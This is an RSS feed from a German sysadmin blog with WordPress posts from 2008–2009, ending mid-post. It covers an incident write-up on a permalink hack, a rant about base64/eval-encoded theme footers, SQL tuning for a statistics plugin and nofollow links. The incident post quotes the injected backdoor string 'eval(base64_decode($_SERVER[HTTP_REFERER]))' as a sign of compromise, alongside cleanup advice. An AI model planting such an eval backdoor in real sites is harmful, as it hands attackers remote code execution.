<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Der fiese Admin &#187; Wordpress</title>
	<atom:link href="http://fieser-admin.de/tag/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://fieser-admin.de</link>
	<description>Admin Blog über Dau Geschichten, Web 2.0 Müll und den ganz normalen Wahnsinn in der IT. Der BOFH ist nur Legende. Der fiese Admin lebt.</description>
	<lastBuildDate>Thu, 29 Jul 2010 19:47:28 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>de</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Neuer Wordpress XSS Hack im Umlauf</title>
		<link>http://fieser-admin.de/2009/neuer-wordpress-xss-hack-im-umlauf/</link>
		<comments>http://fieser-admin.de/2009/neuer-wordpress-xss-hack-im-umlauf/#comments</comments>
		<pubDate>Sat, 05 Sep 2009 04:27:54 +0000</pubDate>
		<dc:creator>Der Admin</dc:creator>
				<category><![CDATA[Internet / Web 2.0]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Bugs]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://fieser-admin.de/?p=308</guid>
		<description><![CDATA[Neuer Wordpress Hack im Umlauf der mittels Cross-Site-Scripting die Kontrolle &#252;ber den Blog &#252;bernehmen kann. Nur Wordpress 2.8.4 gilt derzeit als sicher. Hier ein paar Hinweise was man tun kann wenn es schon zu sp&#228;t ist.]]></description>
			<content:encoded><![CDATA[<p>Was f&#252;r ein Freitag Abend.<br />
Eigentlich wollte ich in Ruhe die letzten Folgen der 2. Staffel von Battlestar Galactica schauen.<br />
Vorher nochmal E-Mails abgerufen&#8230; tja das h&#228;tte ich schon viel fr&#252;her machen sollen.<br />
Vielen dank an adameus23. Ohne ihn h&#228;tte ich vieleicht jetzt noch nicht gemerkt, dass hier was kaputt war. An allen meinen Postlinks klebte folgender Code:</p>
<blockquote><p>%&#038;(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&#038;%/</p></blockquote>
<p>Kann man sich denken, dass das nicht gut ist.</p>
<p>Anstatt also Battlestar Galactica zu schauen durfte ich hier sauber machen.<br />
Aber nach einem Blick ins wordpress Support Forum stellte ich fest, dass ich nicht der einzige war.</p>
<p>Im folgenden die Details.</p>
<p><span id="more-308"></span><strong>Was macht der Hack?</strong><br />
Durch eine Sicherheitsl&#252;cke werden die Permalinks von Wordpress ver&#228;ndert. Durch diesen zus&#228;tzlichen Code k&#246;nnen die Postings nicht mehr regul&#228;r abegrufen werden. Allerdings kann sch&#228;dlicher Code eingef&#252;gt werden. Kann nicht nur, sondern wird weil das ganze automatisch abl&#228;uft. Nach dem Angriff wird ein neuer Benutzer in der Wordpress Administrator Gruppe erstellt. Dieser ist im Dashboard unsichtbar.<br />
So weit war es bei mir. Bei anderen wurden auch Dateien hochgeladen und Wordpress Dateien ver&#228;ndert.<br />
Da es anschliessend einen Administrator Nutzer gibt kann der nat&#252;&#252;rlich alles machen.</p>
<p><strong>Wie genau funktioniert&#8217;s`?</strong><br />
2 Bedingungen m&#252;ssen erf&#252;llt sein: Eine Wordpress Version kleiner als 2.8.4 (die aktuellste) und Usern muss erlaubt sein sich zu registrieren. Allerdings bin ich bei letzterem nicht ganz sicher. Gut m&#246;glich, dass man auch das umgehen kann.<br />
Zun&#228;chst werden ein paar Benutzer registriert. Simple Spam Registrationen.<br />
Durch eine sehr &#252;ble Wordpress Sicherheitsl&#252;cke ist es dem registrierten User m&#246;glich die Permalinks zu &#228;ndern und den oben genannten Code anzuh&#228;ngen. Ich habe es selbst ausprobiert; da war nicht viel zu n&#246;tig. Schlimmer noch: Durch diese Sicherheitsl&#252;cke k&#246;nnen auch andere Wordpress Seiten aufgerufen und manipuliert werden die eigentlich nur dem admin vorbehalten sind. (und ich werde an dieser Stelle nen Teufel tun und sagen wie die funktioniert)<br />
Ziwschen registrierung und ver&#228;ndern des Permalinks k&#246;nnen Tage vergehen. Nachdem die Permalinks ge&#228;ndert wurden wird einer dieser Links aufgerufen (bei mir lagen 4 Stunden dazwischen).<br />
Dazu wird ein gef&#228;lschter Referer &#252;bergeben. Wenn man sich den Code oben ansieht stellt man fest, dass dort der Referer encodiert und OHNE WENN UND ABER AUSGF&#220;HRT WIRD!!!</p>
<p>Den genauen Code der dort &#252;bergeben wird behalte ich erst einmal f&#252;r mich. Kann man sonst zu leicht gegen aktuell infizierte verwenden.</p>
<p>Es werden Userdaten &#252;bergeben und zus&#228;tzlich wird noch der Inhalt einer Datei von einem chinesichen Server nachgeladen.<br />
In dieser Text Datei steht der Code mit dem der neue Superuser angelegt wird.</p>
<p>Dieser hat anstelle eines Namens ebenfallls Code. Dieser ist diesmal etwas HTML und Javascript. Javascript ist nicht ganz mein Ding. Ich glaube, dass durch diesen Code verhindert wird, dass man den neuen User im Dashboard sehen kann. Da der Name dort angezeigt wird wird eben dort der Code ausgef&#252;hrt.</p>
<p>Zudem wird die registrierung weiterer User deaktiviert. Vermutlich dammit man sich nicht &#252;ber den selben Weg die Kontrolle &#252;ber den Blog zur&#252;ckholen kann wenn er erst einmal vollst&#228;ndig &#252;bernommen wurde.</p>
<p>Nun haben wir einen User Namens OrvalGunning70 und der ist Blog Administrator.<br />
You have been hacked.<br />
Und das vollautomatisch.</p>
<p>Cross Site Scriping aus dem Lehrbuch.</p>
<p><strong>Woran erkennne ich ob ich betroffen bin?</strong><br />
1. An euren Permalinks h&#228;ngt nun so was:<br />
<blockquote>%&#038;(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&#038;%/</p></blockquote>
<p>2. Ihr habt registrierte Nutzer Namens<br />
Andrianq (e-mail vergessen zu notieren)<br />
Miriam (obierebelominepyb@gmail.com)<br />
MikeWink (bugbeemershonyhe@gmail.com )<br />
OrvalGunning70 (keine e-mail) (nur in der Datenbank zu finden)</p>
<p>Einer dieser Nutzer reicht schon damit die Alarmsirenen angehen sollten.</p>
<p><strong>Was kann ich tun wennn ich betroffen bin?</strong><br />
Da es noch keine 100%ige Information gibt was genau alles mit dem Superuser angestellt wird kann ich keine 100%ige Anleitung geben.</p>
<p>1. Schaut nach ob Wordpress Dateien (vor allem die index.php) k&#252;rzlich ver&#228;ndert wurden. G&#228;ngige FTP Programme wie z.B. Filezilla zeigen das &#196;nderungsdatum an.<br />
2. Schaut nach ob neue Dateien erstellt wurden. Vor allem im Order wp-content/uploads</p>
<p>Wie mit 1+2 genaue Verfahren werden muss kann ich noch nicht sagen. Bei mir trat das nicht auf.</p>
<p>3. L&#246;scht den User OrvalGunning70 </p>
<p>Da man OrvalGunning70 nicht im Dashboard sehen kann kann man dies entweder &#252;ber die Datenbannk machen indem man in der tabelle wp_users schaut welche ID der Nutzer hat und folgendes ausf&#252;hren (XXX durch die ID von OrvalGunning70 ersetzen):</p>
<blockquote><p>delete from wp_users where ID=XXX;<br />
delete from wp_usermeta where user_id=XXX;</p></blockquote>
<p>oder aber &#252;ber einen Umweg:<br />
Da die Registrierung deaktiviert wird sollte OrvalGunning70 der letzte registrierte Benutzer sein.<br />
Geht im Wordpress Dahsboard zur Benutzer&#252;bersicht und sucht den zuletzt registrierten Benutzer (was irgendjemand anders zu sein scheint).<br />
Rechtsklickt auf den Link um den User zu l&#246;schen und kopiert den Link.<br />
F&#252;gt diesen Link nun in eure URL zeile im Browserr ein.<br />
In der URL steht nun unter anderem so etwas:</p>
<blockquote><p>action=delete&#038;user=7</p></blockquote>
<p>Die 7 (oder welche Zahl auch immer da steht) ist die benutzer ID. Diese muss um eines eh&#246;ht werden. In meinem Beispiel w&#228;re das dann eine 8. <img src='http://fieser-admin.de/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Anschliessend die URL aufrufen (also einfach Enter dr&#252;cken)</p>
<p>4. L&#246;scht folgende User, falls vorhanden:<br />
Andrianq (e-mail vergessen zu notieren)<br />
Miriam (obierebelominepyb@gmail.com)<br />
MikeWink (bugbeemershonyhe@gmail.com )</p>
<p>L&#246;scht am besten alle User die nicht echt zu sein scheinen.</p>
<p>5. &#196;ndert eure Permalinks wieder auf was gescheites.<br />
6. Deaktiviert die User registrierung wenn ihr sie nicht braucht. (falls ihr nicht wisst ob ihr sie braucht dann braucht ihr sie nicht)<br />
7. Schleunigst auf Wordpress 2.8.4 updaten. Das ist die einzige Version die derzeit als sicher gilt.<br />
8. Es ist nie verkehrt zur Sicherheit mal s&#228;mtliche Passw&#246;rter zu &#228;ndern.</p>
<p><strong>Wie kann ich mich sch&#252;tzen?</strong><br />
1. Deaktiviere User registrierungen in deinem Blog.<br />
2. Update auf Wordpress 2.8.4; jede Version darunter ist anf&#228;llig.</p>
]]></content:encoded>
			<wfw:commentRss>http://fieser-admin.de/2009/neuer-wordpress-xss-hack-im-umlauf/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Da ist man mal 2 Tage nicht da</title>
		<link>http://fieser-admin.de/2009/da-ist-man-mal-2-tage-nicht-da/</link>
		<comments>http://fieser-admin.de/2009/da-ist-man-mal-2-tage-nicht-da/#comments</comments>
		<pubDate>Sun, 19 Jul 2009 15:31:05 +0000</pubDate>
		<dc:creator>Der Admin</dc:creator>
				<category><![CDATA[Sonstiges / Privates]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[downtime]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://fieser-admin.de/?p=270</guid>
		<description><![CDATA[Kleine Downtime gehabt. Irgendwas mit dem WP Cache. Nun l&#228;uft es erstmal.]]></description>
			<content:encoded><![CDATA[<p>Sorry f&#252;r die Downtime am Wochenende.</p>
<p>Ich war seit Freitag morgen nicht zuhause und das erste was ich heute lese ist, dass mein Blog down ist.</p>
<p>Speicherprobleme bei einem PHP Script&#8230; aber auch nach verdoppelung des Speichers ging nichts.</p>
<p>Irgendein Problem mit dem Cache. Das muss ich mir noch in Ruhe anschauen. Derzeit scheint es zu reichen die entsprechende Zeile in WP auszukommentieren.</p>
]]></content:encoded>
			<wfw:commentRss>http://fieser-admin.de/2009/da-ist-man-mal-2-tage-nicht-da/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Update auf Wordpress 2.8</title>
		<link>http://fieser-admin.de/2009/update-auf-wordpress-2-8/</link>
		<comments>http://fieser-admin.de/2009/update-auf-wordpress-2-8/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 00:03:39 +0000</pubDate>
		<dc:creator>Der Admin</dc:creator>
				<category><![CDATA[Sonstiges / Privates]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://fieser-admin.de/?p=265</guid>
		<description><![CDATA[Update auf wordpress 2.8. Videos vorerst deaktiviert.]]></description>
			<content:encoded><![CDATA[<p>Hab&#8217;s vorhin gewagt und auf Wordpress 2.8 geupdatet.</p>
<p>Tja, ich Vollidiot h&#228;tte mal vorher etwas nachschauen sollen.</p>
<p>Der Error im Dashboard bei eingehenden Links ist noch zu verschmerzen.</p>
<p>Aber Shortcodes sind nun im Eimer. Das bedeutet, dass s&#228;mtliche (youtube) Videos hier vorerst nicht funktionieren. <img src='http://fieser-admin.de/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>Ich hoffe die geben Gas mit WP 2.8.1.<br />
Immerhin&#8230; musste eh mal ein neues Plugin f&#252;r Videos besorgen. Das alte wird nicht mehr gepflegt.</p>
<p>Daf&#252;r gibt&#8217;s jetzt nen Twitter Button. <img src='http://fieser-admin.de/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  (der ist allerdings nicht in WP 2.8 enthalten*g*)</p>
<p>UPDATE: Neues Video Plugin installiert. Videos laufen nun wieder.</p>
]]></content:encoded>
			<wfw:commentRss>http://fieser-admin.de/2009/update-auf-wordpress-2-8/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Footer im Wordpress Theme kodiert</title>
		<link>http://fieser-admin.de/2009/footer-im-wordpress-theme-kodiert/</link>
		<comments>http://fieser-admin.de/2009/footer-im-wordpress-theme-kodiert/#comments</comments>
		<pubDate>Mon, 11 May 2009 04:44:50 +0000</pubDate>
		<dc:creator>Der Admin</dc:creator>
				<category><![CDATA[Internet / Web 2.0]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://fieser-admin.de/dumme-programmierer/footer-im-wordpress-theme-kodiert/</guid>
		<description><![CDATA[Neuster Trend bei Wordpress Themes: Footer mit base64 kodieren um ihn unleserlich zu machen.]]></description>
			<content:encoded><![CDATA[<p>Kommen wir mal wieder f&#252;r einen kurzen Moment weg von politischen Machtspielchen.</p>
<p>Wor&#252;ber ich derzeit mal wieder kotzen k&#246;nnte ist eine Unsitte bei Wordpress Themes: Die Footer kodierung!</p>
<p>Kaum ein neues Wordpress Theme kommt ohne diesen Mist daher. Egal ob profesionell gemacht oder diletantischer M&#252;ll.</p>
<p><span id="more-211"></span>Worum geht es hier eigentlich?<br />
Nunja, ich habe in den letzten Wochen h&#228;ufiger neue Wordpress Themes f&#252;r verschiedene projekte herunter geladen.<br />
Und bei sehr vielen ist inzwischen die Datei footer.php kodiert.<br />
Anstelle von klarem HTML und PHP (bzw diesem grausigem Mischmasch den man bei Wordpress dauernd hat) findet man dort nur noch kryptische Zeichenfolgen und irgendwo mittendrinn die zwie PHP Befehle &#8220;eval&#8221; und &#8220;base64_decode&#8221;.</p>
<p>F&#252;r die nicht-Programmierer:<br />
base64_decode ist das gegenst&#252;ck zu einem Kodierungssverfahren Namens base64 mit dem Text unleserlich gemacht werden kann.<br />
eval ist dazu da Code auszuf&#252;hren. So kannn man Code z.B. in einer Variable speichern und diese dann an eval &#252;bergeben damit der Code ausgef&#252;hrt werden kann. Da der Code bedingungslos ausgef&#252;hrt wird, egal was drinn steht gilt: EVAL=EVIL!!!!!!!</p>
<p>Was soll das ganze nun?<br />
Im einfachsten fall hat der Autor des Themes zus&#228;tzlich zu dem was vom Design her im Footer sein muss noch sein Copyright da drinn stehen oder einen Link zu seiner Homepage. Dammit das nicht Hinz und Kunz einfach rausnehmen oder sogar f&#228;lschen macht der schlaue Autor nun folgendes:<br />
Er kodiert den gesamten Inhalt des footers mit base64. Inklusive seinem Text, den HTML Tags und eventuellem PHP Code.<br />
Beispiel von Wikipedia:<br />
Aus &#8220;Polyfon zwitschernd a&#223;en M&#228;xchens V&#246;gel R&#252;ben, Joghurt und Quark&#8221; wird dann &#8220;UG9seWZvbiB6d2l0c2NoZXJuZCBhw59lbiBNw6R4Y2hlbnMgVsO2Z2VsIFLDvGJlbiwgSm9n<br />
aHVydCB1bmQgUXVhcms=&#8221;.</p>
<p>Und das ganze wird von Wordpress eben erst wieder dekodiert und dann mit eval ausgef&#252;hrt.</p>
<p>Was ist daran nun so schlimm?<br />
Nun, das war der einfache Fall. Ich habe auch schon gesehen, dass im Footer zus&#228;tzliche Links untergebracht waren f&#252;r die der Autor anscheinend bezahlt wurde. Der Footertext sieht dann singem&#228;&#223; so aus &#8220;Author: AUTORHOMEPAGE designed by AUTOZUBEH&#214;R, sponsored by GUMMMIB&#196;RCHEN, copyright by KREDIT-G&#220;NSTIG&#8221;</p>
<p>Sieht panne aus und wenn die Leute da nen Link von mir haben wollen sollen sie selbst fragen.</p>
<p>Es geht aber noch viel schlimmer. So habe ich schon den Fall erlebt, dass im kodierten Text ein Script aufgerufen wurde mit demm dynammisch von einer anderen Seite  Links geladenn wurden.</p>
<p>Hat den Seitenaufbau auch nur um 5-10 Sekunden verlangsamt&#8230;</p>
<p>Und da kommen wir zu dem Problemen:<br />
a) Das dekodieren kostet Performance<br />
b) Da stehen eventuell Sachen im footer die ich da nicht haben will<br />
c) Da werden Sachen ausgef&#252;hrt von denen ich nichts weiss. Im schlimmsten Fall werden da Daten ausgesp&#228;ht. Eval hat nirgendwo was zu suchen. Schon gar nicht wenn ich nicht weiss was da ausgef&#252;hrt wird.</p>
<p>Was kann man tun?</p>
<p>Bei einfachen Themes: Seite normal aufrufen, Quelltext ansehen und den relevanten Teil herauskopieren und den Inhalt der footer.php damit ersetzen.</p>
<p>Wenn dort aber auch noch code ausgef&#252;hrt werden muss kommt man um das h&#228;ndische dekoideren nicht herum. Das kann eine Sache von 2 Minuten sein oder auch von Stunden.</p>
<p>Im einfachsten fall kann man das &#8220;eval&#8221; durch &#8220;echo&#8221; ersetzen. Anstatt den Code auszuf&#252;hren wird er nun einfach nur ausgegeben. Dann den Code kopieren und in die footer.php schreiben.</p>
<p>Ich hatte aber auch schon F&#228;lle wo der dekodierte Text ebenfalls wieder kodiert war. Rekord war vor wenigen Wochen. Da wurde mit ein footer zum dekodieren geschickt. Das Drecksteil war ca. 50 mal mit base64 und rot13 kodiert.</p>
<p>Nach dem 10 mal. h&#228;ndischen dekodieren hab ich mir da lieber eine Funktion f&#252;r geschaubt.*g*</p>
<p>Ein anders mal hatte ich eine maschinell erstellte Kodierung vor mir. Da waren dann die einzelnen Teile im Code selbst als Variablen verpackt und erneut einfach kodiert und wurden wieder neu zusammengesetzt. Das sah in etwa so aus:</p>
<p>$111=eval($11);</p>
<p>$11111=eval($1);</p>
<p>$1111=$111+$11111;</p>
<p>(while $1111){<br />
eval($1111111)+$11111111;<br />
}</p>
<p>&#8230;usw.</p>
<p>Ende vom ganzen Lied ist bei mir grunds&#228;tzlich folgendes: Ist der footer verschl&#252;sselt fliegt der bei mir komplett raus. Mitsamt Autorlink und allem.<br />
Ich sehe nicht ein mir irgendwelchen, eventuel sogar gef&#228;hrlicchen Code, unterschieben zu lassen. Entweder man spielt mit offenen Karten oder l&#228;sst es sein. Ich sehe auch nicht ein hier als Werbetr&#228;ger f&#252;r andere Leute zu dienen(also andere als dem Autor).<br />
Ein Verweis auf den Ersteller ist Ehrensache aber wenn man versucht die leute zu verarschen gibt&#8217;s gar nix. Wenn ich denn Footer &#228;ndern will dann tu ich das.<br />
Wenn ihr nicht wollt, dass eure Themes editiert werden dannn ver&#246;ffentlicht sie nicht.</p>
<p>Das ist (um wieder an das Tagesgeschen anzukn&#252;pfen) wie mit der DNS Sperre: Wenn ich das umgehen will dannn tu ich das ganz einfach.</p>
]]></content:encoded>
			<wfw:commentRss>http://fieser-admin.de/2009/footer-im-wordpress-theme-kodiert/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Semmelstatz Statistik-Anzeige beschleunigen</title>
		<link>http://fieser-admin.de/2008/semmelstatz-statistik-anzeige-beschleunigen/</link>
		<comments>http://fieser-admin.de/2008/semmelstatz-statistik-anzeige-beschleunigen/#comments</comments>
		<pubDate>Mon, 20 Oct 2008 00:19:40 +0000</pubDate>
		<dc:creator>Der Admin</dc:creator>
				<category><![CDATA[Internet / Web 2.0]]></category>
		<category><![CDATA[Datenbank]]></category>
		<category><![CDATA[Programmierung]]></category>
		<category><![CDATA[Semmelstatz]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://fieser-admin.de/wissenswert/semmelstatz-statistik-anzeige-beschleunigen/</guid>
		<description><![CDATA[Semmelstatz ist immer noch ein beliebtes Statsitik Tool f&#252;r Wordpress, allerdings l&#228;sst sich die Darstellung der Statistiken noch stark bescheunigen.]]></description>
			<content:encoded><![CDATA[<p>Falls noch jemand das gute alte Semmelstatz f&#252;r seine Blog Statistiken benutzt und findet, dass die Anzeige der Statistiken im Admin Bereich zu lange dauert sollte er ein wenig Hand anlegen. Mit nur wenigen Schritten ist Semmelstatz pfeilschnell.</p>
<p><span id="more-159"></span>Da ich selbst ein Gewohnheitstier bin und nur ungern auf neue Systeme umsteige wenn sich die alten bew&#228;hrt haben ist bei mir immer noch Semmelstatz im Einsatz um Blog Statistiken erfassen zu k&#246;nnen. Den Aufzeichnungen von Semmelstazt verdankt ihr die Suchbegriffe des Monats. <img src='http://fieser-admin.de/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Problem ist allerdings, dass die Anzeige der Statistiken im Admin bereich von Wordpress super langsam ist wen man erst einmal ein paar Eintr&#228;ge in der Datenbank hat. Da kann das schon mal 2 Minuten dauern. Viel zu lange!<br />
Der Grund daf&#252;r sind sehr schlechte Datenbank Queries. Die Indizes werden z.B. nicht genutzt was bedeutet, dass MySQL jedes mal die gesammte Datenbank durchsuchen muss.</p>
<p>Durch ein paar Modifikationen der Abfragen l&#228;sst sich das ganze aber beschleunigen. Was vroher mehrere Minuten dauert geht dann in Sekunden.</p>
<p>Das ganze funktioniert bei Semmelstazt 3.1 und f&#252;r 3.0.1, da sind die Namen der Aufrufe etwas anders. (statt $wbdb-&gt;XXX ist es $this-&gt;wpdb-&gt;xxx)<br />
Sofern die Datenbankqueries bei &#228;teren Semmelstazt Versionen die selben sind funtioniert es dort nat&#252;rlich auch.</p>
<p>Die &#196;nderungen werden in der Datei semmelstazt_func.php umgesetzt.</p>
<p>Die drei gro&#223;en Flaschenh&#228;lse sind:</p>
<ul>
<li>Die Statistik Anzeige f&#252;r heute</li>
<li>Die Statistik Anzeige der letzten X Tage</li>
<li>Die Top 10 Beitr&#228;ge</li>
</ul>
<p><strong>L&#246;sung:</strong></p>
<p><strong>Statistik Anzeige f&#252;r heute</strong><br />
In der Semmelstatz Tabelle einen Index auf das Feld &#8220;time&#8221; setzen.</p>
<p>In der Funktion sem_showTodayStatz() die Query<br />
<code><br />
SELECT COUNT(ip) AS hits, COUNT(DISTINCT ip) AS visitors, COUNT(DISTINCT referer)<br />
AS referers, substring(time,1,10) AS date FROM ".$wpdb-&gt;statz." WHERE substring(time,1,10) = CURDATE() GROUP BY date<br />
</code><br />
durch folgende Query ersetzen:<br />
<code><br />
SELECT COUNT(ip) AS hits, COUNT(DISTINCT ip) AS visitors, COUNT(DISTINCT referer)<br />
AS referers, substring(time,1,10) AS date FROM ".$wpdb-&gt;statz." WHERE time &gt;= CURDATE() GROUP BY date<br />
</code></p>
<p>Erkl&#228;rung: Da time das bedingungsfeld ist bracht es einen Index damit die Daten schneller berglichen werden k&#246;nnen. Das umschreiben im Query entfern die Berechnung im Bedingungsteil (andernfalls n&#252;tzt uns der Index n&#228;mlich nichts)</p>
<p><strong>Statistik Anzeige der letzten x Tage</strong><br />
Ben&#246;tigt ebenfalls einen Index auf time. den haben wir ja oben schon gesetzt. Bleibt die Optimierung des MySQL Queries in der Funktion sem_showDailyStatz()<br />
Folgende Query ist gegeben:<br />
<code><br />
SELECT COUNT(ip) AS hits, COUNT(DISTINCT ip) AS visitors, COUNT(DISTINCT referer)<br />
AS referers, substring(time,1,10) AS date FROM ".$wpdb-&gt;statz." GROUP BY date ORDER BY time DESC LIMIT 0, ".$limit<br />
</code><br />
Vor dem Query Aufruf muss noch folgende Zeile hinzugef&#252;gt werden:<br />
<code><br />
$daylimit=$limit-1;<br />
</code><br />
Und anschliessend ersetzen wir die Query durch diese, die 8-10 mal schneller ist.<br />
<code><br />
SELECT COUNT(ip) AS hits, COUNT(DISTINCT ip) AS visitors, COUNT(DISTINCT referer)<br />
AS referers, substring(time,1,10) AS date FROM ".$wpdb-&gt;statz." WHERE time&gt;=CURDATE()-INTERVAL ".$daylimit." DAY GROUP BY date ORDER BY time DESC");<br />
</code></p>
<p>Erkl&#228;rung: Die Original Query l&#228;d zuerst die Statsitiken aller Tage in der Tabelle und zeigt dann die ersten X davon an. Da uns die anderen gar nicht interessieren k&#246;nnen wir der Datenbank die M&#252;he auch sparen und die zu verarbeitenden Zeilen auch gleich begrenzen und das tun wir mit der Erg&#228;nzung des heutigen Datums -des Limits.</p>
<p><strong>Die Top 10 Beitr&#228;ge</strong><br />
Index auf page in der Statz Tabelle setzen.</p>
<p>In der Funktion sem_showTopReads() die Query<br />
<code><br />
SELECT post_title AS posttitle, post_name as postname, guid AS postid,<br />
COUNT(".$wpdb-&gt;statz.".page) AS count FROM ".$wpdb-&gt;posts.", ".$wpdb-&gt;statz." WHERE<br />
".$wpdb-&gt;statz.".page = ".$wpdb-&gt;posts.".ID GROUP BY postid ORDER BY count DESC LIMIT 10<br />
</code><br />
durch diese ersetzen, die aus einer 70 Sekunden langen Abfrage eine 2 Sekunden Abfrage macht<br />
<code><br />
SELECT STRAIGHT_JOIN post_title AS posttitle, post_name as postname, guid AS postid,<br />
COUNT(".$wpdb-&gt;statz.".page) AS count FROM ".$wpdb-&gt;statz.", ".$wpdb-&gt;posts." WHERE<br />
".$wpdb-&gt;statz.".page = ".$wpdb-&gt;posts.".ID GROUP BY page ORDER BY count DESC LIMIT 10");<br />
</code></p>
<p>Erkl&#228;rung: Straight Join und die Reihenfolge der Tabellen in der Abfrage sind der Schl&#252;sselpunkt. Zudem wird nun nach einem indexierten Feld gruppiert.</p>
<p>Vermutlich lassen sich die anderen Queries ebenfalls optimieren. Diese 3 waren aber die lahmsten. Die anderen nehme ich mir vieleicht auch mal vor wenn sich dadurch noch starke verbesserungen erzielen lassen.</p>
]]></content:encoded>
			<wfw:commentRss>http://fieser-admin.de/2008/semmelstatz-statistik-anzeige-beschleunigen/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>NoFollow in Wordpress Blogs</title>
		<link>http://fieser-admin.de/2008/nofollow-in-wordpress-blogs/</link>
		<comments>http://fieser-admin.de/2008/nofollow-in-wordpress-blogs/#comments</comments>
		<pubDate>Mon, 08 Sep 2008 10:00:41 +0000</pubDate>
		<dc:creator>Der Admin</dc:creator>
				<category><![CDATA[Internet / Web 2.0]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://fieser-admin.de/dumme-programmierer/nofollow-in-wordpress-blogs/</guid>
		<description><![CDATA[Kommentare in Wordpress sind grunds&#228;tzlich NoFollow. Warum das schlecht ist und wie man das behebt erfahrt ihr hier.]]></description>
			<content:encoded><![CDATA[<p>Mal wieder Zeit zu meckern.</p>
<p>Es gibt immer noch viel zu viele Blogs die grunds&#228;tzlich nur mit NoFollow verlinken. Egal ob es nun aus Unwissenheit passiert oder aus Ignoranz: Das ist Mist.<br />
NoFollow ist ein praktisches Werkzeug um die Linkliebe (geiles Wort) besser zu steuern. Aber NoFollow grunds&#228;tzlich an alle externen Links zu heften ist einfach falsch.</p>
<p><span id="more-134"></span>F&#252;r die Unwissenden:<br />
Ein NoFollow Link ist ein f&#252;r Suchmaschinen entwerteter Link. Die Suchmaschine wird ihm zwar folgen aber es erfolgt keine Wertung. Wenn eine Suchmaschine einem Link folgt wird das normalerweise als Empfehlung gewertet und die verlinkte Seite wird entsprechend besser von der Suchmaschine bewertet.<br />
Ist grunds&#228;tzlich ja auch richtig. Wenn ich etwas verlinke tue ich das normalerweise ja auch weil ich zeigen m&#246;chte &#8220;Hier, das ist gut, da solltet ihr mal weiter lesen&#8221;. Und als kleinen Bonus zu den Besuchern die &#252;ber diesen Link kommen werte ich die verlinkte Seite auch gleichzeitig f&#252;r die Suchmaschinen etwas auf. Warum auch nicht?</p>
<p>Nun ist es leider so, dass Wordpress (und das ist nun mal das System auf dem die meisten Blogs laufen) die externen Links in Kommentaren grunds&#228;tzlich auf NoFollow setzt.<br />
Und genau das ist der v&#246;llig falsche weg wenn man einen Blog haben m&#246;chte der auch kommentiert wird.<br />
Wenn jemand einen Kommentar schreibt und selbst eine Seite bzw einen Blog hat wird diese automatisch verlinkt. Wordpress setzt diesen Link nun auf NoFollow. Aus Angst davor, dass zu viele Spamlinks eine Wertung bekommen.<br />
Ich finde aber, dass grunds&#228;tzlich jeder der einen halbwegs sinnvollen Kommentar schreibt es verdient hat, dass seine Seite ordentlich verlinkt wird.<br />
Ein Blog der nicht kommentiert wird ist tot. Kommentatoren f&#252;llen den Blog mit Leben und machen ihn interessant. Es ist daher nur fair wenn ich den Leuten die meinen Blog bereichern wenigstens einen kleinen Link zur&#252;ckgebe. Und zwar einen richtigen.</p>
<p>Viel schlimmer ist das NoFollow verlinken aber bei Trackbacks. Wenn jemand in seinem Blog &#252;ber etwas schreibt und dabei einen Link auf einen anderen Blog setzt schickt er einen Trackback. Das hei&#223;t: Der Blog der den Link gesetzt hat schreibt quasi einen Kommentar im anderen Blog und setzt einen Link zu sich selbst. So sieht man, dass ein anderer Blog etwas zum Thema geschrieben hat.<br />
